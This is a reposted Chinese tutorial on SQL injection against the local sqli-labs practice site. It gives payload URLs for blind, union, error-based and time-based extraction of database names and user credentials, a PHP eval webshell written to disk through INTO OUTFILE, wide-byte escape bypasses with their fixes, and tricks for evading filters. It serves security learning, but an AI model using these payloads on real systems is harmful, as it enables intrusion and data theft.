SQL 注入 -转载

转载于:谢公子 https://blog.csdn.net/qq_36119192/article/details/81987834

目录

一:Boolean盲注

二:union 注入

三:文件读写

四:floor报错注入

五:Xpath函数错误注入

六:sleep延时注入

七:REGEXP正则匹配

八:宽字节注入

九:过滤绕过


判断是否存在SQL注入

一个网站有那么多的页面,那么我们如何判断其中是否存在SQL注入的页面呢?我们可以用网站漏洞扫描工具扫描,比如AWVS、AppScan、OWASP-ZAP等,这些漏洞扫描工具

在很多时候,还需要我们自己手动去判断是否存在SQL注入漏洞。

数字型判断是否存在SQL注入


 
 
  1. 如果两次页面不一样则存在注入
  2. select*from test where id= 1 and 1= 2;
  3. select*from test where id= 1 and 1= 1;
  4. 还可以这样,如果两次页面不一样则存在注入
  5. select*from test where id= 1 or 1= 1; 相当于 select*from test where 1= 1 ;
  6. select*from test where id= 1 or 1= 2; 相当于 select*from test where id= 1;

字符型判断是否存在SQL注入 


 
 
  1. 如果两次页面不一样则存在注入
  2. select*from test where username='admin' and ' 1'=' 1';
  3. select*from test where username='admin' and ' 1'=' 2';
  4. 还可以这样,如果两次页面不一样则存在注入
  5. select*from test where username = ' ' or ' 1'=' 1 ';
  6. select*from test where username = ' ' or ' 1'=' 2 ';

一:Boolean盲注

盲注,就是在服务器没有错误回显时完成的注入攻击。服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息“,所以攻击者必须找到一个方法来验证注入的SQL语句是否得到了执行。

我们来看一个例子:这是sqli的Less-5,我自己对源码稍微改动了一下,使得页面会显示执行的sql语句

通过输入 http://127.0.0.1/sqli/Less-1/?id=1   我们得到了下面的页面

然后输入 http://127.0.0.1/sqli/Less-5/?id=-1   我们得到下面的页面

当我们输入  http://127.0.0.1/sqli/Less-5/?id=1'  我们得到下面的页面

由此可以看出代码把 id 当成了字符来处理,而且后面还有一个限制显示的行数  limit 0,1 。当我们输入的语句正确时,就显示You are in....  当我们输入的语句错误时,就不显示任何数据。当我们的语句有语法错误时,就报出sql语句错误。

于是,我们可以推断出页面的源代码:


 
 
  1. $sql=" SELECT * FROM users WHERE id= '$id' LIMIT 0, 1 "; //sql查询语句
  2. $result=mysql_query($sql);
  3. $row = mysql_fetch_array($result);
  4. if($row) //如果查询到数据
  5. {
  6. echo 'You are in...........';
  7. }
  8. else //如果没查询到数据
  9. {
  10. print_r(mysql_error());
  11. }

于是我们可以通过构造一些判断语句,通过页面是否显示来证实我们的猜想。盲注一般用到的一些函数:ascii() 、substr() 、length()

1:判断数据库类型

这个例子中出错页面已经告诉了我们此数据库是Mysql,那么当我们不知道是啥数据库的时候,如何分辨是哪个数据库呢?

虽然大部分数据库的大部分的SQL语句都类似,但是每个数据库还是有自己特殊的表的。通过表我们可以分辨是哪些数据库。

mysql数据库的特有的表是 information_schema.tables  , access数据库特有的表是 msysobjects , sqlserver 数据库特有的表是 sysobjects 。那么,我们就可以用如下的语句判断数据库。哪个页面正常显示,就属于哪个数据库


 
 
  1. //判断是否是 Mysql数据库
  2. http://127.0.0.1/sqli/Less-5/?id=1' and exists( select* from information_schema.tables) #
  3. //判断是否是 access数据库
  4. http:// 127.0 .0 .1/sqli/ Less -5/? id= 1 ' and exists(select*from msysobjects) #
  5. //判断是否是 Sqlserver数据库
  6. http://127.0.0.1/sqli/Less-5/?id=1' and exists( select* from sysobjects) #

2:判断当前数据库


 
 
  1. 1:判断当前数据库的长度,利用二分法
  2. http://127.0.0.1/sqli/Less-5/?id=1 ' and length(database())>5 //正常显示
  3. http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10 //不显示任何数据
  4. http://127.0.0.1/sqli/Less-5/?id=1 ' and length(database())>7 //正常显示
  5. http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>8 //不显示任何数据
  6. 大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为 8
  7. 2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
  8. //判断数据库的第一个字符
  9. http://127.0.0.1/sqli/Less-5/?id=1 ' and ascii(substr(database(),1,1))>100
  10. //判断数据库的第二个字符
  11. http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100
  12. ...........
  13. 由此可以判断出当前数据库为 security

3:判断数据库中的表


 
 
  1. 1:判断当前数据库中表的个数
  2. // 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
  3. http://127.0.0.1/sqli/Less-5/?id=1' and ( select count(table_name) from information_schema.tables where table_schema= database())> 5 #
  4. 2:判断每个表的长度
  5. //判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为 6
  6. http:// 127.0 .0 .1/sqli/ Less -5/? id= 1 ' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6
  7. //判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
  8. http://127.0.0.1/sqli/Less-5/?id=1' and length(( select table_name from information_schema.tables where table_schema= database() limit 1, 1))= 6
  9. 3:判断每个表的每个字符的 ascii
  10. //判断第一个表的第一个字符的 ascii
  11. http:// 127.0 .0 .1/sqli/ Less -5/? id= 1 ' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #
  12. //判断第一个表的第二个字符的ascii值
  13. http://127.0.0.1/sqli/Less-5/?id=1' and ascii( substr(( select table_name from information_schema.tables where table_schema= database() limit 0, 1), 2, 1))> 100 #
  14. .........
  15. 由此可判断出存在表 emails、referers、uagents、 users ,猜测 users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断

4. 判断表中的字段


 
 
  1. 1:判断表中字段的个数
  2. //判断users表中字段个数是否大于5,这里的users表是通过上面的语句爆出来的
  3. http://127.0.0.1/sqli/Less-5/?id=1' and ( select count(column_name) from information_schema.columns where table_name= 'users')> 5 #
  4. 2:判断字段的长度
  5. //判断第一个字段的长度
  6. http:// 127.0 .0 .1/sqli/ Less -5/? id= 1 ' and length((select column_name from information_schema.columns where table_name=' users ' limit 0,1))>5
  7. //判断第二个字段的长度
  8. http://127.0.0.1/sqli/Less-5/?id=1' and length(( select column_name from information_schema.columns where table_name= 'users' limit 1, 1))> 5
  9. 3:判断字段的 ascii
  10. //判断第一个字段的第一个字符的长度
  11. http:// 127.0 .0 .1/sqli/ Less -5/? id= 1 ' and ascii(substr((select column_name from information_schema.columns where table_name=' users ' limit 0,1),1,1))>100
  12. //判断第一个字段的第二个字符的长度
  13. http://127.0.0.1/sqli/Less-5/?id=1' and ascii( substr(( select column_name from information_schema.columns where table_name= 'users' limit 0, 1), 2, 1))> 100
  14. ...........
  15. 由此可判断出 users表中存在 id、username、 password 字段

5.判断字段中的数据


 
 
  1. 我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据
  2. 1: 判断数据的长度
  3. // 判断id字段的第一个数据的长度
  4. http://127.0.0.1/sqli/Less-5/?id=1' and length(( select id from users limit 0, 1))> 5
  5. // 判断 id字段的第二个数据的长度
  6. http:// 127.0 .0 .1/sqli/ Less -5/? id= 1 ' and length((select id from users limit 1,1))>5
  7. 2:判断数据的ascii值
  8. // 判断id字段的第一个数据的第一个字符的ascii值
  9. http://127.0.0.1/sqli/Less-5/?id=1' and ascii( substr(( select id from users limit 0, 1), 1, 1))> 100
  10. // 判断 id字段的第一个数据的第二个字符的 ascii
  11. http:// 127.0 .0 .1/sqli/ Less -5/? id= 1 ' and ascii(substr((select id from users limit 0,1),2,1))>100
  12. ...........

二:union 注入

我们可以通过order by来判断当前表的列数。最后可得知,当前表有3列

我们可以通过 union 联系查询来知道显示的列数

咦,这里为啥不显示我们联合查询的呢?因为这个页面只显示一行数据,所以我们可以用 and 1=2 把前面的条件给否定了,或者我们直接把前面 id=1 改成 id =-1 ,在后面的代码中,都是将 id=-1进行注入


 
 
  1. http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1, 2, 3 #
  2. http:// 127.0 .0 .1/sqli/ Less -1/? id= -1 ' union select 1,2,3 #

这样,我们联系查询的就显示出来了。可知,第2列和第3列是显示列。那我们就可以在这两个位置插入一些函数了。

我们可以通过这些函数获得该数据库的一些重要的信息

version() :数据库的版本     database() :当前所在的数据库    @@basedir :  数据库的安装目录

@@datadir : 数据库文件的存放目录     user() : 数据库的用户   current_user() : 当前用户名

system_user() : 系统用户名     session_user() :连接到数据库的用户名

http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,version(),user() #
 
 

 

http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,database(),@@basedir #
 
 

http://127.0.0.1/sqli/Less-1/?id=-1'   union select 1,@@datadir,current_user() #
 
 

我们还可以通过union注入获得更多的信息。


 
 
  1. // 获得所有的数据库
  2. http://127.0.0.1/sqli/Less-1/?id=-1' union select 1, group_concat(schema_name), 3 from information_schema.schemata #
  3. // 获得所有的表
  4. http:// 127.0 .0 .1/sqli/ Less -1/? id= -1 ' union select 1,group_concat(table_name),3 from information_schema.tables #
  5. //获得所有的列
  6. http://127.0.0.1/sqli/Less-1/?id=-1' union select 1, group_concat(column_name), 3 from information_schema.columns #

当我们已知当前数据库名security,我们就可以通过下面的语句得到当前数据库的所有的表

http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #
 
 

我们知道了当前数据库中存在了四个表,那么我们可以通过下面的语句知道每一个表中的列

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #
 
 

如下,我们可以知道users表中有id,username,password三列

我们知道存在users表,又知道表中有 id ,username, password三列,那么我们可以构造如下语句

http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,group_concat(id,'--',username,'--',password),3 from users #
 
 

我们就把users表中的所有数据都给爆出来了

三:文件读写

当有显示列的时候,文件读可以利用union注入。当没有显示列的时候,只能利用盲注;

文件写入只能利用union注入

读取e盘下3.txt文件

union注入读取文件


 
 
  1. //union注入读取 e:/3.txt 文件
  2. http://127.0.0.1/sqli/Less-1/?id=-1' union select 1, 2, load_file( "e:/3.txt")#
  3. //也可以把 e:/ 3.txt 转换成 16进制 0x653a2f332e747874
  4. http:// 127.0 .0 .1/sqli/ Less -1/? id= -1 ' union select 1,2,load_file(0x653a2f332e747874)#

盲注读取文件


 
 
  1. //盲注的话就是利用hex函数,将读取的字符串转换成16进制,再利用ascii函数,转换成ascii码,再利用二分法一个一个的判断字符,很复杂,需要工具完成
  2. http://127.0.0.1/sqli/Less-1/?id=-1' and ascii(mid(( select hex( load_file( 'e:/3.txt'))), 18, 1))> 49# ' LIMIT 0,1

我们可以利用写入文件的功能,在e盘创建4.php文件,然后写入一句话木马

union写入文件


 
 
  1. //利用union注入写入一句话木马 into outfile 和 into dumpfile 都可以
  2. http://127.0.0.1/sqli/Less-1/?id=-1' union select 1, 2,( '<?php @eval($_POST[aaa])?>') into outfile 'e:/4.php' #
  3. // 可以将一句话木马转换成 16进制的形式
  4. http:// 127.0 .0 .1/sqli/ Less -1/? id= -1 ' union select 1,2,(0x3c3f70687020406576616c28245f504f53545b6161615d293f3e) into outfile 'e:/ 4.php ' #

四:floor报错注入

floor报错注入是利用 count()函数、rand()函数、floor()函数、group by 这几个特定的函数结合在一起产生的注入漏洞。缺一不可


 
 
  1. // 我们可以将 user() 改成任何函数,以获取我们想要的信息
  2. http://127.0.0.1/sqli/Less-1/?id=-1' and ( select 1 from ( select count(*) from information_schema.tables group by concat( user(), floor( rand( 0)* 2)))a) #
  3. //将其分解
  4. ( select 1 from (Y)a)
  5. Y= select count(*) from information_schema.tables group by concat(Z)
  6. Z= user(), floor( rand( 0)* 2)

floor报错注入参考:https://blog.csdn.net/zpy1998zpy/article/details/80650540

五:Xpath函数错误注入

extractvalue(XML_document, XPath_string):从目标XML中返回包含所查询值的字符串。
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串
原理:通过concat将查询到的信息拼接成字符串,由于extractvalue函数的第二个参数需要Xpath格式字符串。现在很显然不是,所以报错。
ps: 返回结果 限制在32位字符


 
 
  1. // 可以将user() 改成任何我们想要查询的函数和sql语句
  2. http:// 127.0 .0 .1/sqli/Less -1/?id= -1 ' and extractvalue(1,concat(0x7e,version(),0x7e)) #
  3. // 通过这条语句可以得到所有的数据库名
  4. http://127.0.0.1/sqli/Less-1/?id=-1' and extractvalue( 1,concat( 0x7e,(select schema_name from information_schema.schemata limit 0, 1), 0x7e)) #

六:sleep延时注入

sleep函数判断页面响应时间               if(判断条件,为true时执行,为false时执行)

我们可以构造下面的语句,判断条件是否成立


 
 
  1. // 判断数据库的第一个字符的ascii值是否大于100,如果大于100,页面立即响应,如果不大于,页面延时5秒响应
  2. http://127.0.0.1/sqli/Less-1/?id=1' and if(ascii(substring(database(),1,1))<100,1,sleep(5)) #

七:REGEXP正则匹配

正则表达式,又称规则表达式(Regular Expression,在代码中常简写为regex、regexp或RE),计算机科学的一个概念。正则表达式通常被用来检索、替换那些符合某个模式(规则)的文本

查找name字段中含有a或者b的所有数据:        select name from admin where name regexp ' a|b ';
查找name字段中含有ab,且ab前有字符的所有数据(.匹配任意字符): select name from admin where name regexp ' .ab ';
查找name字段中含有at或bt或ct的所有数据:   select name from admin where name regexp ' [abc]t ';
查找name字段中以a-z开头的所有数据:          select name from admin where name regexp ' ^[a-z] ';

已知数据库名为 security,判断第一个表的表名是否以 a-z 中的字符开头,^[a-z]  -->  ^a ; 判断出了第一个表的第一个字符,接着判断第一个表的第二个字符 ^a[a-z] -->  ^ad ;  就这样,一步一步判断第一个表的表名  ^admin$ 。然后 limit 1,1 判断第二个表


 
 
  1. // 判断security数据库下的第一个表的是否以a-z的字母开头
  2. http://127.0.0.1/sqli/Less-1/?id=1' and 1=( select 1 from information_schema.tables where table_schema= 'security' and table_name regexp '^[a-z]' limit 0, 1) #

参考文档:http://www.cnblogs.com/lcamry/articles/5717442.html

八:宽字节注入

宽字节注入是由于不同编码中中英文所占字符的不同所导致的。通常来说,在GBK编码当中,一个汉字占用2个字节。而在UTF-8编码中,一个汉字占用3个字节。在php中,我们可以通过输入 echo strlen("中") 来测试,当为GBK编码时,输入2,而为UTF-8编码时,输出3。出了GBK以外,所有的ANSI编码都是中文都是占用两个字节。

在之前,我们先说一下php中对于sql注入的过滤,这里就不得不提到几个函数了。

addslashes()函数,这个函数返回在预定义字符之前添加反斜杠 \ 。预定义字符:  单引号 ' 、双引号 " 、反斜杠 \ 、NULL。但是这个函数有一个特点就是虽然会添加反斜杠 \ 进行转义,但是 \ 并不会插入到数据库中。。这个函数的功能和魔术引号完全相同,所以当打开了魔术引号时,不应使用这个函数。可以使用get_magic_quotes_gpc()来检测是否已经转义。

mysql_real_escape_string()函数,这个函数用来转义sql语句中的特殊符号x00 、\n  、\r  、\  、‘  、“ 、x1a。

魔术引号:当打开时,所有的单引号’、双引号"、反斜杠\和NULL字符都会被自动加上一个反斜线来进行转义,这个和 addslashes()函数的作用完全相同。所以,如果魔术引号打开了,就不要使用addslashes()函数了。一共有三个魔术引号指令。

  1. magic_quotes_gpc 影响到 HTTP 请求数据(GET,POST 和 COOKIE)。不能在运行时改变。在 PHP 中默认值为 on。 参见 get_magic_quotes_gpc()。
  2. magic_quotes_runtime 如果打开的话,大部份从外部来源取得数据并返回的函数,包括从数据库和文本文件,所返回的数据都会被反斜线转义。该选项可在运行的时改变,在 PHP 中的默认值为 off。 参见 set_magic_quotes_runtime() 和 get_magic_quotes_runtime()。
  3. magic_quotes_sybase 如果打开的话,将会使用单引号对单引号进行转义而非反斜线。此选项会完全覆盖 magic_quotes_gpc。如果同时打开两个选项的话,单引号将会被转义成 ''。而双引号、反斜线 和 NULL 字符将不会进行转义。 如何取得其值参见 ini_get()。

我们这里搭了一个平台来测试,这里得感谢其他大佬的源码。

测试代码及数据库:http://pan.baidu.com/s/1eQmUArw 提取密码:75tu

首先,我们来看一下1的源码,这对用户输入的id用 addslashes() 函数进行了处理,而且是当成字符串处理。

我们输入

这里addslashes函数把我们的 ’ 进行了转义,转义成了 \'。

所以,我们要想绕过这个转义,就得把 \' 的 \ 给去掉。那么怎么去掉呢。

  1. 在转义之后,想办法让\前面再加一个\,或者单数个\即可,这样就变成了\\' ,\ 被转义了,而 ‘ 逃出了限制。
  2. 在转义之后,想办法把 \ 弄没有,只留下一个 ' 。

我们这里利用第2中方法,宽字节注入,这里利用的是Mysql的一个特性。mysq在使用GBK编码的时候,会认为两个字符是一个汉字,前提是前一个字符的ascii值大于128,才会认为是汉字。

当我们输入如下语句的时候,看看会发生什么。

127.0.0.1/1/1/?id=1%df'
 
 

我们发现页面报错了,而且报错的那里是  '1運''  。我们只输入了 1%df ' ,最后变成了 1運 ' 。所以是mysql把我们输入的%df当成了 運 来处理。而我们输入的单引号' 逃了出来,所以发生了报错。我们现在来仔细梳理一下思路。 我们输入了 1%df ’ ,而因为使用了addslashes()函数处理 ',所以最后变成了 1%df\' , 又因为会进行URL编码,所以最后变成了 1%df%5c%27 。而mysql正是把%df%5c当成了汉字 運 来处理,所以最后 %27 也就是单引号逃脱了出来,这样就发生了报错。而这里我们不仅只是能输入%df ,我们只要输入的数据的ascii码大于128就可以。因为mysql中只有当前一个字符的ascii大于128,才会认为两个字符是一个汉字。所以只要我们输入的数据大于等于 %81 就可以使 ‘ 逃脱出来了。

知道怎么绕过,我们就可以进行注入获得我们想要的信息了!

既然GBK编码可以,那么GB2312可不可以呢?怀着这样的好奇,我们把数据库编码改成了GB2312,再次进行了测试。我们发现,当我们再次利用输入 1%df' 的时候,页面竟然不报错,那么这是为什么呢?

这是归结于GB2312编码的取值范围。它编码的取值范围高位是0XA1~0XF7,低位是0XA1~0xFE,而 \ 是0x5C ,不在低位范围中。所以0x5c根本不是GB2312中的编码。所以,%5c 自然不会被当成中文的一部分给吃掉了。

所以,通过这个我们可以得到结论,在所有的编码当中,只要低位范围中含有 0x5C的编码,就可以进行宽字符注入。

发现了这个宽字符注入,于是很多程序猿把 addslashes()函数换成了 mysql_real_escape_string() 函数,想用此来抵御宽字节的注入。因为php官方文档说了这个函数会考虑到连接的当前字符集。

那么,使用了这个函数是否就可以抵御宽字符注入呢。我们测试一下,我们输入下面的语句

http://127.0.0.1/1/3/?id=1%df'
 
 

发现还是能进行宽字节的注入。那么这是为什么呢?原因就是,你没有指定php连接mysql的字符集。我们需要在执行sql语句之前调用mysql_set_charset函数,设置当前连接的字符集为gbk。

这样当我们再次输入的时候,就不能进行宽字节注入了!

宽字节注入的修复

在调用mysql_real_escape_string()函数之前,先设置连接所使用的字符集为GBK ,mysql_set_charset=('gbk',$conn) 。这个方法是可行的。但是还是有很多网站是使用的addslashes()函数进行过滤,我们不可能把所有的addslashes()函数都换成mysql_real_escape_string()。

所以防止宽字节注入的另一个方法就是将 character_set_client设置为binary(二进制)。需要在所有的sql语句前指定连接的形式是binary二进制:

mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $conn); 
 
 

当我们的Mysql收到客户端的请求数据后,会认为他的编码是character_set_client所对应的编码,也就是二进制。然后再将它转换成character_set_connection所对应的编码。然后进入具体表和字段后,再转换成字段对应的编码。当查询结果产生后,会从表和字段的编码转换成character_set_results所对应的编码,返回给客户端。所以,当我们将character_set_client编码设置成了binary,就不存在宽字节注入的问题了,所有的数据都是以二进制的形式传递。

参考:http://blog.51cto.com/wt7315/1931667

九:过滤绕过

在实际的项目开发中,程序猿一般都会使用函数过滤一些字符,以达到避免SQL注入。譬如,下面的php代码使用 preg_replace函数过滤了一些字符

preg_replace('A' , 'B' , C)  :执行一个正则表达式的搜索和替换,这个的意思是搜索C中符合A的部分,然后用B来代替。

有关这个函数更多的详情:preg_replace函数详解

过滤了字符我们就注入不了了吗?no ,所谓道高一尺魔高一丈,虽然过滤了某些字符,但是我们还是可以绕过过滤,达到SQL注入的目的。

1.空格绕过(使用/**/   ())

   (1)如果只过滤了空格,没有过滤 /*  ,那么我们可以利用 /**/ 来绕过空格过滤

http://127.0.0.1/sqli/Less-26/?id=1'and/**/1=1 #
 
 

http://127.0.0.1/sqli/Less-26/?id=1'and/**/1=2#
 
 

    (2)如果只过滤了空格,没有过滤括号(),则可以利用括号绕过。在Mysql中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

http://127.0.0.1/sqli/Less-26/?id=1'and(1=1)#
 
 

http://127.0.0.1/sqli/Less-26/?id=1'and(1=2)#
 
 

2.引号绕过(使用16进制)

   使用16进制绕过引号。一般会使用到引号的地方是在最后的where子句中,比如


 
 
  1. select * from test where username= ' admin ';
  2. select * from test where username= " admin ";

当引号被过滤了的话, 'admin'就没法用了,我们可以用admin的16进制 0x61646d696e 代替。

select *f rom test where username=0x61646d696e;
 
 

3.逗号绕过(使用from for或者offset)

    在使用盲注的时候,会使用到substring(),mid(), limit 函数。这些函数都需要用到括号。如果只是过滤了逗号,则对于substring()和mid()这两个函数可以使用from  for的方式来绕过。对于limit ,可以用 offset 绕过。


 
 
  1. // substring() 逗号绕过
  2. select * from test where id= 1 and ( select ascii( substring(username, 2, 1)) from admin limit 1)> 97;
  3. select * from test where id= 1 and ( select ascii( substring(username from 2 for 1)) from admin limit 1)> 97;
  4. // mid() 逗号绕过
  5. select * from test where id= 1 and ( select ascii( mid(username, 2, 1)) from admin limit 1)> 97;
  6. select * from test where id= 1 and ( select ascii( mid(username from 2 for 1)) from admin limit 1)> 97;
  7. // limit 逗号绕过
  8. select * from test where id= 1 limit 1, 2;
  9. select * from test where id= 1 limit 2 offset 1;

 

4.比较符< >绕过(使用greatest() 、least())

    在使用盲注的时候,会用到二分法来比较操作符来进行操作。如果过滤了比较操作符,那么就需要使用到 greatest()和lease()来进行绕过。greatest()返回最大值,least()返回最小值。

greatest(n1,n2,n3.....)返回输入参数的最大值;

least(n1,n2,n3....)返回输入参数的最小值


 
 
  1. select * from test where id= 1 and ascii( substring( database(), 0, 1))> 64;
  2. select * from test where id= 1 and greatest( ascii( substring( database(), 0, 1)), 64)= 64

5.or and xor not绕过

and用 && 代替 ;or用 || 代替 ; xor用 | 代替 ; not用 ! 代替 ;


 
 
  1. select * from test where id= 1 and 1= 2;
  2. select * from test where id= 1 && 1= 2
  3. select * from test where id= 1 or 1= 2;
  4. select * from test where id= 1 || 1= 2;

6.注释符 # -- 绕过

     如果过滤了# 和 --   ,则可以利用 ||'来绕过


 
 
  1. // 对于这种sql语句,可以用下面的语句构造绕过
  2. $sql=" SELECT * FROM users WHERE id= '$id' LIMIT 0, 1 ";
  3. http://127.0.0.1/sqli/Less-1/?id=1' union 1,2,3 #
  4. http://127.0.0.1/sqli/Less-1/?id=1' union 1,2,3||'
  5. http://127.0.0.1/sqli/Less-1/?id=1' union 1,2,'3

7.等号=绕过

  使用like、rlike、regexp 或者使用 <   > 

8.union、select、where绕过

9.通用绕过(编码)

如URL编码,ascii 编码,HEX , unicode 编码绕过等

比如: Test可以为 char(101)+char(97)+char(115)+char(116)

10.等价函数绕过


 
 
  1. hex()、bin() ==> ascii()
  2. sleep() ==>benchmark()
  3. concat_ws()==>group_concat()
  4. mid()、substr() ==> substring()
  5. @@user ==> user()
  6. @@datadir ==> datadir()
  7. 举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid(( select+pwd+ from+ users+ limit+ 1, 1), 1, 1)))= 74 
  8. 或者:
  9. substr(( select 'password'), 1, 1) = 0x70
  10. strcmp( left( 'password', 1), 0x69) = 1
  11. strcmp( left( 'password', 1), 0x70) = 0
  12. strcmp( left( 'password', 1), 0x71) = -1

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值